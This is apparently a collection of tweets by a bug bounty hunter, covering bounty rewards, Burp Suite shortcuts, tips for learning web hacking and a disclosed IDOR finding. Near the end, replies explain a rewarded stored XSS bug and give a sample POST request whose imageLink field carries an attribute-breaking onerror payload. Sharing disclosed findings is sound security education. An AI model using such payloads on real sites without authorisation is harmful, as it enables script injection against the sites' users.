Rashedul Islam

Cybersecurity Enthusiast | Python Lover | PowerPoint Hero | Fiery Typist | Student at University of Dhaka

[Rashedul Islam @RashedulCSS]

Alhamdulillah...!

#Top_2 once again on Tecno Mobile Security Response Center @TecnoSRC!

Rewarded with $7,300 including the special recognition #Diligent_Star.

"...And Allah provides for whoever He wills without limit." [Al Quran - Sura 24:38]

#bugbounty #cyber #security

[Rashedul Islam @RashedulCSS]

14th June, World Blood Donor Day...!
Donated for 16 Times, Alhamdulillah...

Now a member of lifelong "Silver Club"...

[Rashedul Islam @RashedulCSS]

It's high time to be 'Hallucinated by AI'... 😂😂😂

[Rashedul Islam @RashedulCSS]

I just completed module #API #Attacks in @hackthebox_eu...!

Price: $10

The last challenge will teach you once again to 'Try Harder'...

You'll learn here the OWASP Top 10 API Security Risks...

My Rating: 4.7

https://t.co/qb8tKeJ7tw

#hackthebox #htbacademy #cybersecurity

[Rashedul Islam @RashedulCSS]

@Fabrikat0r @4osp3l Interested and willing to contribute...

[Rashedul Islam @RashedulCSS]

PortSwigger featured my tips here https://t.co/LAbHPc4sKC

[Rashedul Islam @RashedulCSS]

Don't Use Burp Suite Like Mediocre!

Some Burp Suite Shortcuts for Your Efficient Hacking!

- Ctrl+R Send a request to the 'Repeater' tab
- Ctrl+Shift+R Jump to the 'Repeater' tab
- Ctrl+Space Send the request to the server from the 'Repeater' tab
- Ctrl+U URL Encode your input

[Rashedul Islam @RashedulCSS]

@Monir_Ish Glad you found it helpful...!

[Rashedul Islam @RashedulCSS]

Don't Start Web Hacking Now, Begin from YESTERDAY!

Get Ready for Bug Bounty in Just 4 Steps:

1. Start learning from https://t.co/8xQlCU6BaB by selecting a particular bug type e.g. Broken Access Control

1/2

#infosec #bugbounty #tips #ethicalhacking #infosecurity #whitehat

[Rashedul Islam @RashedulCSS]

@fallen_0ne_ Some people keep learning bugs but they don't apply the methods in real world web applications to exploit such vulnerabilities...

For example, you just completed a Race condition lab from Portswigger, go for exploiting this vulnerability in a bug bounty website...

[Rashedul Islam @RashedulCSS]

2/2

2. Keep reading disclosed reports from https://t.co/km8Zr1Xri3

3. In the next two months, whenever you start using a browser, always intercept all traffic through Burp.

4. Don't fall into the learning loop, start hacking today!

[Rashedul Islam @RashedulCSS]

What an insight! @NahamSec

"When I can't find bugs, I change perspective not targets.

Client-side -> API Issues
Main App -> Developer Platform"

"Give Me 13 Minutes and 2025 Will Be Your Best Bug Bounty Year"

YouTube Link: https://t.co/wManVJgsfM

[Rashedul Islam @RashedulCSS]

@Mhmdibrhmmm_ My friend hunted on that program, later he gave that...

[Rashedul Islam @RashedulCSS]

Alhamdulillah!
Awarded with $600 for finding an IDOR vulnerability!

Context:
- The Web App was letting users to upload payment screenshots if they chose 'Bank Transfer' method for boosting their posts.
- But abusing the IDOR vulnerability, I could upload/replace victims' images.

[Rashedul Islam @RashedulCSS]

@Mhmdibrhmmm_ Yes brother...

[Rashedul Islam @RashedulCSS]

@torik_1999 I've shared the secrets in the first comment. Please check it yourself...!

[Rashedul Islam @RashedulCSS]

Alhamdulillah...!
Rewarded with $1,200 for a Stored XSS attack...!

Want to know the secrets?
Reveal them from the comment section...

#infosec #bugbounty #stored #xss #tips #ethicalhacking #infosecurity #whitehat

[Rashedul Islam @RashedulCSS]

@mateen9x9 I've shared the secrets in the first comment. Please check it yourself...!

[Rashedul Islam @RashedulCSS]

@trffnsec Nice catch...! 😍

[Rashedul Islam @RashedulCSS]

@MrD0tt Exactly brother!
Seems like the first XSS was found by you.

[Rashedul Islam @RashedulCSS]

@mrirfan___07 2/2
Replace the image link with an XSS payload like...

POST /comment HTTP/1.1
Host: https://t.co/wp0jIoZySQ

commentText=Nice&imageLink=https://t.co/oPIO8OvlB3" onerror=confirm(1337) onerror=confirm(1338)

NB. Don't forget to use 'onerror' event double time.

[Rashedul Islam @RashedulCSS]

@mrirfan___07 Secrets:
1/2
If you see, your uploaded image generated a URL and getting passed immediately with another HTTP request like below

POST /comment HTTP/1.1
Host: https://t.co/wp0jIoZ13i

commentText=Nice&imageLink=https://t.co/CxNi9Ai3Sg